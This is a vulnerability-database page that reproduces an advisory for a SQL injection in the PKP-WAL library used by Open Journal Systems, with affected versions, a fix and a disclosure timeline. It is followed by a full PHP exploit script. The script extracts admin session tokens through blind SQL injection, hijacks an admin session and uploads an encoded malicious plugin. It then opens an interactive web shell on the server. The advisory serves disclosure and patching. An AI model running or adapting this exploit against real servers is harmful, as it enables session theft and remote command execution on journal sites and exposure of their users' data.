Lucene search
K

📄 PKP-WAL 3.5.0-1 SQL Injection

🗓️ 23 Dec 2025 00:00:00Reported by EgiXType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 192 Views

PKP-WAL SQL injection in Collector.php allows data access via institutions API; upgrade to 3.4.0-10.

Code
----------------------------------------------------------------------
    PKP-WAL <= 3.5.0-1 (Institution Collector) SQL Injection Vulnerability
    ----------------------------------------------------------------------
    
    
    [-] Software Links:
    
    https://pkp.sfu.ca
    https://github.com/pkp/pkp-lib
    
    
    [-] Affected Versions:
    
    PKP Web Application Library (aka PKP-WAL or pkp-lib) version 3.4.0-9
    and prior versions, and version 3.5.0-1 and prior versions, as used in
    Open Journal Systems (OJS), Open Monograph Press (OMP), and Open
    Preprint Systems (OPS).
    
    
    [-] Vulnerability Description:
    
    The vulnerability is located in the /classes/institution/Collector.php
    script. Specifically, into the Collector::getQueryBuilder() method,
    where user input passed through the "searchPhrase" GET parameter is
    not properly sanitized before being used to construct a SQL query at
    lines 143 and 148 by leveraging the DB::raw() method. This can be
    exploited by malicious users to e.g. read sensitive data from the
    database through boolean-based or time-based SQL Injection attacks.
    
    Successful exploitation of this vulnerability requires an account with
    permissions to access the .../api/v1/institutions API endpoint, such
    as a "Journal Editor" or "Production Editor" user account on OJS.
    
    [-] Proof of Concept:
    
    https://karmainsecurity.com/pocs/CVE-2025-67889.php
    
    
    [-] Solution:
    
    Upgrade to versions 3.4.0-10, 3.5.0-2, or later.
    
    
    [-] Disclosure Timeline:
    
    [25/10/2025] - Vendor notified
    [26/10/2025] - Vendor fixed the issue and opened a public GitHub
    issue: https://github.com/pkp/pkp-lib/issues/11977
    [12/11/2025] - CVE identifier requested
    [18/11/2025] - Version 3.4.0-10 released
    [12/12/2025] - CVE identifier assigned
    [29/11/2025] - Version 3.5.0-2 released
    [23/12/2025] - Publication of this advisory
    
    
    [-] CVE Reference:
    
    The Common Vulnerabilities and Exposures program (cve.org) has
    assigned the name CVE-2025-67889 to this vulnerability.
    
    
    [-] Credits:
    
    Vulnerability discovered by Egidio Romano.
    
    
    [-] Original Advisory:
    
    http://karmainsecurity.com/KIS-2025-10
    
    
    
    --- packet storm added poc ---
    
    <?php
    
    /*
        ----------------------------------------------------------------------
        PKP-WAL <= 3.5.0-1 (Institution Collector) SQL Injection Vulnerability
        ----------------------------------------------------------------------
        
        author..............: Egidio Romano aka EgiX
        mail................: n0b0d13s[at]gmail[dot]com
        software link.......: https://github.com/pkp/pkp-lib
        
        +-------------------------------------------------------------------------+
        | This proof of concept code was written for educational purpose only.    |
        | Use it at your own risk. Author will be not responsible for any damage. |
        +-------------------------------------------------------------------------+
        
        [-] Original Advisory:
    
        https://karmainsecurity.com/KIS-2025-10
    */
    
    set_time_limit(0);
    error_reporting(E_ERROR);
    
    if (!extension_loaded("curl")) die("[-] cURL extension required!\n");
    
    if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");
    
    function sql_injection($sql)
    {
        global $ch, $url;
    
        curl_setopt($ch, CURLOPT_POST, false);
        
        $sql = str_replace(" ", "/**/", $sql);
        $min = true;
        $idx = 1;
    
        while (1)
        {
            $test = 256;
    
            for ($i = 7; $i >= 0; $i--)
            {
                $test = $min ? $test - pow(2, $i) : $test + pow(2, $i);
                $sqli = rawurlencode("')))OR(1)RLIKE(IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},0x28,1))#");
                curl_setopt($ch, CURLOPT_URL, "{$url}api/v1/institutions?searchPhrase={$sqli}");
                $min = preg_match("/Internal Server Error/i", curl_exec($ch));
            }
    
            if (($chr = $min ? $test - 1 : $test) == 0 or $chr == 255) break;
            $data .= chr($chr); $min = true; $idx++;
            print "\r[*] Token: {$data}";
        }
    
        return $data;
    }
    
    $url = $argv[1];
    $usr = $argv[2];
    $pwd = $argv[3];
    $ch  = curl_init();
    
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    //curl_setopt($ch, CURLOPT_PROXY, "http://127.0.0.1:8080");
    
    print "[+] Performing login with username '{$usr}' and password '{$pwd}'\n";
    
    curl_setopt($ch, CURLOPT_URL, "{$url}login/signIn");
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["username" => $usr, "password" => $pwd]));
    
    $login = curl_exec($ch);
    
    if (!preg_match('/302 Found/i', $login)) die("[-] Login failed!\n");
    if (!preg_match_all('/Cookie: .*SID=([^;]+)/i', $login, $cookie)) die("[-] Session ID not found!\n");
    
    $sess_cookie = (count($cookie[0]) == 2) ? $cookie[0][1] : $cookie[0][0];
    
    curl_setopt($ch, CURLOPT_HTTPHEADER, [$sess_cookie]);
    
    $ch2 = curl_init();
    curl_setopt($ch2, CURLOPT_URL, $url.'../../dbscripts/xml/version.xml');
    curl_setopt($ch2, CURLOPT_HEADER, true);
    curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
    //curl_setopt($ch2, CURLOPT_PROXY, "http://127.0.0.1:8080");
    
    print "[+] Checking app version\n";
    
    if (preg_match('/<tag>3_5_0/', curl_exec($ch2)))
    {
    	print "[-] Version is 3.5.0.x\n";
    	$sub_query = "SELECT 1 a, 2 b, 3 c, 4 d, 5 e, 6 f UNION SELECT * FROM sessions";
    }
    else
    {
    	print "[-] Version is < 3.5.0\n";
    	$sub_query = "SELECT 1 a, 2 b, 3 c, 4 d, 5 e, 6 f, 7 g, 8 h, 9 i UNION SELECT * FROM sessions";
    }
    
    print "[+] Checking admin session tokens\n";
    
    $index = 0;
    $found = false;
    curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/upload-plugin');
    	
    while (!$found)
    {
    	print "\n[+] Fetching token number ".($index+1)."\n";
    
    	$sid = sql_injection("SELECT a FROM ({$sub_query}) x WHERE a!=1 AND b=1 ORDER BY a ASC LIMIT {$index},1");
    	
    	if (!strlen($sid)) die(($index == 0) ? "[-] No admin tokens found! :(\n" : "[-] No more tokens! :(\n");
    
    	curl_setopt($ch2, CURLOPT_HTTPHEADER, [substr($sess_cookie, 0, -strlen($sid)) . $sid]);
    
    	if (preg_match('/"csrfToken\\\\" value=\\\\"([^\\\\]+)/', curl_exec($ch2), $csrf)) $found = true;
    	else { print "\n[+] Not a valid token\n"; $index++; }
    }
    
    print "\n[+] Admin session token valid!\n\n[+] Uploading malicious plugin\n";
    
    $pluginName = "backup-v2_0_5-0.tar.gz";
    @file_put_contents($pluginName, base64_decode("H4sICBzk/2gAA2JhY2t1cC12Ml8wXzUtMC50YXIA7Zb7b9MwEMf7K/krTDWpncQSJ80D0awTbOUhBFRrmTQxVKWJSa15jhU7sIL2v3N5lHXTYAOtGyB/FMnN3eV8fnxdz6L4uBBWa51gjAOMUdX6XtVix63bGtSyPYz9APs48FrY9noe+L21VtVQSBXlUMpxRBWjnJMvMuN/kGc5kGX7F3A+p+6F+V1lVq+/nBPGTDEX66ijnBDfd8vWDjy82lbYjlPWFwTwA3vl+ju+57cQXkcxl1muP0np6a/irvP/o4Q7sOhI5JQr1JkCnT4SkZRqnhfdWSSJ704TEmcJ6W5Mx8P9g+H+h87LyWQ03e183NzsX/p0Z2Dc94g0v0Oj/88klzTj5ukJu/0+Kv27P9e/67m1/gMfDqge6L/n+I7W/10Q7sCSo2b5t9u2iduIcNA75el2+/3k+dbjNog6fLj3bndyOBouQ9H4cDwZvkFt07Tqh9GZJY6FlajEEqxIKT9oNhVY2pCi+XJgPAgjIRiNI1W+1jswtFZtEKIWggzqPNJMCSc5jUOrsoI3J4zA4TRwTGx6Jg6tpQF8SaTAgR1vC8MThFZlAAeLvi62WBYlAzu0zl/AEzM48gbPqkpGVZ+hVduM0PpR932v1Tpo9L869Fu/Blyn/8AJlvq3ezbE2S7cALX+74Lq/98weHRCpIhigp6ORkeN7I4a2R3Vm6RvGIUkaPT6POBFHVDvG/BXmkGrmwmRU0V4ItGFUOObgQBRzEDy6FPB41L2KIdJlork3Q04B0ia5YtHaENEag7NSUT5bsYV5HuVoG3EC8Y2n6BZlrEqV52xJCeqyDlSeUH6lfHMuLK3lKg9KgWLFm9h9F1IJhVcZtKr03WqK3Ln2oxExjkV5ettZKRyTBWpJ6174+Ge/ZdHlUaj0Wg0Go1Go9FoNBqNRqPRaDQajeYGfAcGciK9ACgAAA=="));
    
    curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/upload-plugin-file?function=upload');
    curl_setopt($ch2, CURLOPT_POSTFIELDS, ["name" => $pluginName, "uploadedFile" => new CURLFile($pluginName)]);
    
    if (!preg_match('/"temporaryFileId":(\d+)/', curl_exec($ch2), $fileId)) die("[-] Upload failed!\n");
    
    print "[+] Saving malicious plugin\n";
    
    curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/save-upload-plugin?function=upload');
    curl_setopt($ch2, CURLOPT_POSTFIELDS, http_build_query(["temporaryFileId" => $fileId[1], "csrfToken" => $csrf[1]]));
    
    if (!preg_match('/"status":true/', curl_exec($ch2))) die("[-] Saving failed!\n");
    
    print "[+] Launching shell\n";
    
    curl_setopt($ch, CURLOPT_URL, "{$url}../../plugins/generic/backup/shell.php");
    curl_setopt($ch, CURLOPT_POST, false);
    
    while(1)
    {
    	print "\npkp-shell# ";
    	if (($cmd = trim(fgets(STDIN))) == "exit") break;
    	curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);
    	preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
    }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation